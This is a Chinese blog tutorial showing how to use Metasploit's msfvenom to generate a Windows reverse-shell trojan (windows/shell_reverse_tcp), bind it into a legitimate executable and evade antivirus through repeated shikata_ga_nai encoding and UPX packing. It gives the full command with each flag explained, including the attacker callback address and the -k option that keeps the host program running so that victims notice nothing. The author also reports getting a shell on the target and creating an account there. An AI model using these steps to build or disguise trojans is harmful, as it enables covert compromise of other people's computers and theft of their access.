Metasploit实现木马生成、捆绑、免杀
原创博客,转载请注出处!
我的公众号,正在建设中,欢迎关注:
Meatsploit介绍
2018/01/03 更新
Metasploit是一款优秀的开源(!= 完全免费)渗透测试框架平台,在该平台下可以方便的实施渗透测试,Meatsploit具有繁多的接口、模块等等,甚至允许用户自己编写自己的模块使用。在Metasploit框架下可以方便的实现木马的生成、捆绑、免杀。实验楼网站存在此节课程但是是收费的,How frustrating,,,,so,,,,,:)
0X01选择攻击载荷
首先,开启终端,键入:“msfconsole“,进入metasploit控制台。
键入“show payloads",查看所有可用的攻击载荷的信息。
下面列出的载荷信息是所有可以使用的攻击载荷
我使用的载荷名为:shell_reverse_tcp,是一个简单的反弹shell程序,功能是连接肉鸡(系统为windows系统)的命令行。当然也可以使用其它的攻击载荷,实现不同的功能。
0X02选择被捆绑文件
本实验的实现的功能之一就是让木马捆绑在一个其它的可执行文件上,以便于木马的感染和传播。其实Meatsploit自带有程序模板,其位置在data/templates/template.exe。虽然这个模板经常会更新,但是其仍是各大反病毒木马厂商的关注重点。为了更好地实现免杀,我自己选择一个待捆绑程序。我选择的程序模板是”IP雷达“,IP雷达是一款常用且优秀的系统资源监控程序。(关于被捆绑程序的选择是随机的,侵删)
下图中qqwry.dat是IP雷达的IP地址库,与本实验无关。
0X03关于免杀
免杀是一门非常重要的技术(其它技术也很重要),我想一个真正的Hacker不会仅仅满足于使用别人的软件来进行免杀。自己写的壳再怎么低级也比直接从网上找到的加壳工具安全的多。常见的免杀方式有:修改特征码/修改程序入口点/花指令/加壳等等。(关于免杀推荐《黑客免杀攻防》——任晓珲,本书堪称入门/提升的经典之作,该书作者前是邪恶八进制的一员哦:))
回归正题,在Meatsploit框架下免杀的方式之一就是使用MSF编码器。其功能是对我们攻击载荷文件进行重新的排列编码,改变可执行文件中的代码形状,避免被杀软认出。可以在终端键入msfvenom -l encoders来查看所有的可用的编码方式。注意并不是所有的编码方式都在windows系统上可用!!!
再次提醒:注意并不是所有的编码方式都在windows系统上可用!!!这里我选择的编码方式是:
0X04木马的生成/捆绑/免杀
实验环境:
攻击机IP:192.168.159.134 系统:Kali linux
靶机IP:192.168.159.1 系统:win7(安全软件为:360、COMODO )
生成木马/捆绑/免杀操作如下:
msfvenom -p windows/shell_reverse_tcp 意为使用shell_reverse_tcp攻击载荷
LHOST=192.168.159.134 此步是设置攻击者IP地址
LPORT=8080 此步是设置木马将会主动连接攻击者设定的监听端口
-e x86/shikata_ga_nai 此步意为使用shikata_ga_nai的编码方式对攻击载荷进行重新编码,上文有讲
-x IPradar5.exe 此步意为将木马捆绑在指定的可执行程序模版上,此处为IPradar5.exe
-i 5 此处意为使用刚才设定的编码方式对目标进行5次编码(多次编码理论上来讲有助于免杀,但是也不一定,毕竟杀软不是白收费的,免杀技术飞速发展,新的免杀技术一出现就会被各大安全厂商盯上的。。。。)
-f exe 此步意为指定MSF编码器输出格式为exe
-o /root/Desktop/backdoor.exe 此步意为指定处理完毕后的文件输出路径
至此木马程序生成/捆绑/免杀就都完成了,,,,,,四不四很简单。。。。赶脚完全木有技术含量的说。。。。
下面测试:
先设置msf,将其设置为监听8080,等待木马的链接
。。。。。。。。
这就尴尬了。。。。
并不甘心。。。。再对刚才的程序进行加壳处理
终端键入upx,参看upx加壳软件参数
键入命令:upx -5 backdoor.exe 即对backdoor.exe进行加壳(此处为压缩处理),加壳的不便之处就是会改变源文件的大小,有经验的安全人员很容易发现这点差别。。。。重命名为1backdoor.exe
重新使用360扫描
结果狠尴尬。。。。
360的反木马引擎看来还是不错的。。。。。
将加壳后的文件上传viscan进行云查杀
可见公开的免杀工具并不是那么的靠谱,而且我发现在viscan的杀毒引擎中,奇虎360的引擎版本才是1.0.1,,,可见安全公司并不是白吃干饭的额。。。。
还有一点说明一下,以上对木马的生成绑定操作,执行含有木马的宿主程序时,宿主程序并不会启动,如果想隐蔽木马文件让用户察觉不出来宿主程序有问题的话,则要在生成木马的那段代码中添加 -k 选项,此意为攻击载荷会在一个独立的进程中启动而源宿主程序的运行不受影响。
++++++++++++++++++++++++++++++++++++++我是分割线++++++++++++++++++++++++++++++++++++++++++++++++++++
2018/01/03 更新
之前的实验是无线环境下进行操作,一直没能实现获取目标机的shell,现使用有线连接,成功获取了shell。
截图如下:
目标机:
从上图可以看到成功在肉鸡上创建了账户,下面测试下关机命令
实验免杀还是未能绕过360安全卫士,待有时间再实验。
我的公众号,正在建设中,欢迎关注:
实验到此结束
Metasploit实现木马生成、捆绑、免杀的更多相关文章
- Atitit.木马病毒的免杀原理---sikuli 的使用
Atitit.木马病毒的免杀原理---sikuli 的使用 1. 使用sikuli java api1 1.1. 3. Write code!1 2. 常用api2 2.1. wait 等待某个界面出 ...
- vc++木马源码免杀一些常用方法
1.字符串连接 ////////////////////////////////////////////////////////////把字符串"canxin"连接起来(字符串连接 ...
- PHP一句话木马Webshell变形免杀总结
0×00 前言 大部分Webshell查杀工具都是基于关键字特征的,通常他们会维护一个关键字列表,以此遍历指定扩展名的文件来进行扫描,所以可能最先想到的是各种字符串变形,下面总结了一些小的方法,各种不 ...
- Atitit.木马 病毒 免杀 技术 360免杀 杀毒软件免杀 原理与原则 attilax 总结
Atitit.木马 病毒 免杀 技术 360免杀 杀毒软件免杀 原理与原则 attilax 总结 1. ,免杀技术的用途2 1.1. 病毒木马的编写2 1.2. 软件保护所用的加密产品(比如壳)中,有 ...
- 20144306《网络对抗》MAL_免杀原理与实践
一.基础问题回答 1.杀软是如何检测出恶意代码的? (1)特征码:类似于人的生物特征,恶意代码可能会包含一段或多端数据能代表其特征.杀软一般会对文件内容进行静态扫描,将文件内容与特征库进行匹配,来检测 ...
- 迁移Veil:手工打造Windows下编译的免杀Payload
作者:RedFree 本文转自乌云 Veil对Payload的免杀已经做的很好了,最新的Veil有39个可用的Payload.但是有时候需要使用Windows来完成所有的渗透测试工作,Linux和Wi ...
- Bypass AV meterpreter免杀技巧
0x01 meterpreter简介 MetasploitFramework是一个缓冲区溢出测试使用的辅助工具,也可以说是一个漏洞利用和测试平台,它集成了各种平台上常见的溢出漏洞和流行的shellco ...
- 内网渗透 day10-msfvenom免杀
免杀2-msf免杀 目录 1. 生成shellcode 2. 生成python脚本 3. 自编码免杀 4. 自捆绑免杀(模版注入) 5. 自编码+自捆绑免杀 6. msf多重免杀 7. evasion ...
- Metasploit+python生成免杀exe过360杀毒
Metasploit+python生成免杀exe过360杀毒 1在kali下生成一个反弹的msf的python脚本,命令如下: msfvenom -p windows/meterpreter/reve ...
随机推荐
- ASP.NET Core 配置 EF SQLite 支持 - ASP.NET Core 基础教程 - 简单教程,简单编程
原文:ASP.NET Core 配置 EF SQLite 支持 - ASP.NET Core 基础教程 - 简单教程,简单编程 ASP.NET Core 配置 EF SQLite 支持 上一章节我有提 ...
- WPF C#之读取并修改App.config文件
原文:WPF C#之读取并修改App.config文件 简单介绍App.config App.config文件一般是存放数据库连接字符串的. 下面来简单介绍一下App.config文件的修改和更新. ...
- OpenGL(十) 截屏并保存BMP文件
BMP文件格式 BMP图像又称为Bitmap(位图),是Windows系统中广泛采用的图像格式.BMP文件的数据按照从文件头开始的先后顺序分为四个部分: 我们一般见到的图像以24位图像为主,即R.G. ...
- C++ string的那些坑,C++ string功能补充(类型互转,分割,合并,瘦身) ,c++ string的内存本质(简单明了的一个测试)
1. size_type find_first_of( const basic_string &str, size_type index = 0 ); 查找在字符串中第一个与str中的某个字符 ...
- express的路由规则
路由规则 express 封装了多种 http 请求方式,我们主要只使用 get 和 post 两种. get 和 post 的第一个参数都为请求的路径,第二个参数为处理请求的回调函数,回调函数有两个 ...
- QT Linux Demo程序编译
我手上的qt源码包为:qt-everywhere-opensource-src-4.7.0.tar.gz 在Linux下编译比较容易,解压后直接 ./configure,一般会报缺少什么库这些.自己遇 ...
- 加快QT工程编译速度(还可给Qt for Android设置)
一.多核编译 环境:win10, Qt 5.4.1,编译器mingw32 项目: Qt for Android Qt Creator 在编译android项目时不支持预编译,默认cpu单核编译,工程稍 ...
- 所有语言的Awesome(2)
Curated list of awesome lists https://awesomeweekly.co https://github.com/sindresorhus/awesome ✨ Pre ...
- Android项目实战(四十四):Zxing二维码切换横屏扫描
原文:Android项目实战(四十四):Zxing二维码切换横屏扫描 Demo链接 默认是竖屏扫描,但是当我们在清单文件中配置横屏显示的时候: <activity android:name=&q ...
- PySide——Python图形化界面入门教程(五)
PySide——Python图形化界面入门教程(五) ——QListWidget 翻译自:http://pythoncentral.io/pyside-pyqt-tutorial-the-qlistw ...